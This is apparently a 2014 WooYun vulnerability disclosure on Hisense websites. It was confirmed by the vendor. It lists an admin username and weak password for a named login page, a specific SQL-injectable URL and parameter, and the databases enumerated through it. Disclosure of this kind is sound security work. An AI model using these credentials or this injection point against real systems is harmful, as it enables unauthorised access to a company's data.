当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082032

漏洞标题:海信集团某站SQL注入多库+某站弱口令

相关厂商:hisense.com

漏洞作者: 小胖子

提交时间:2014-11-05 10:42

修复时间:2014-12-20 10:44

公开时间:2014-12-20 10:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-05: 细节已通知厂商并且等待厂商处理中
2014-11-05: 厂商已经确认,细节仅向厂商公开
2014-11-15: 细节向核心白帽子及相关领域专家公开
2014-11-25: 细节向普通白帽子公开
2014-12-05: 细节向实习白帽子公开
2014-12-20: 细节向公众公开

简要描述:

路人甲

详细说明:

首先是某站的弱口令,可能是java的问题,登陆有点问题,但是找到口令了
站点http://gfwl.hisense.com/fullLogin.html
TMS系统 账号 admin 密码 1qazxsw2

pass.png


第二是SQL注入漏洞
注入点:http://hbmt.hisense.com/cn/product.aspx?ClassID=z8UwZwanMEg%3D&Encap=1X20
Encap参数存在注入 单引号报错

cuowu.png


SQLIN.png


漏洞证明:

current database:    'sq8hbmtbuy'
available databases [16]:
[*] master
[*] maxline
[*] maxline2
[*] model
[*] msdb
[*] naacee
[*] rcpos
[*] ReportServer
[*] ReportServerTempDB
[*] roadmax
[*] sq8bwg20130922
[*] sq8hbmtbuy
[*] sq8hengda2010
[*] sq8hxdcpay130816
[*] SSB20140501
[*] tempdb

修复方案:

过滤参数,修复弱口令账户

版权声明:转载请注明来源 小胖子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-11-05 11:34

厂商回复:

感谢您的安全报告,我们已联系相关人员跟进处理,谢谢。有问题随时与我们联系。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-05 11:31 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @xsser 小厂商流程,我刷点WB参加众测也是醉了。

  2. 2014-11-05 14:28 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    海信,看起来很好刷的样子~~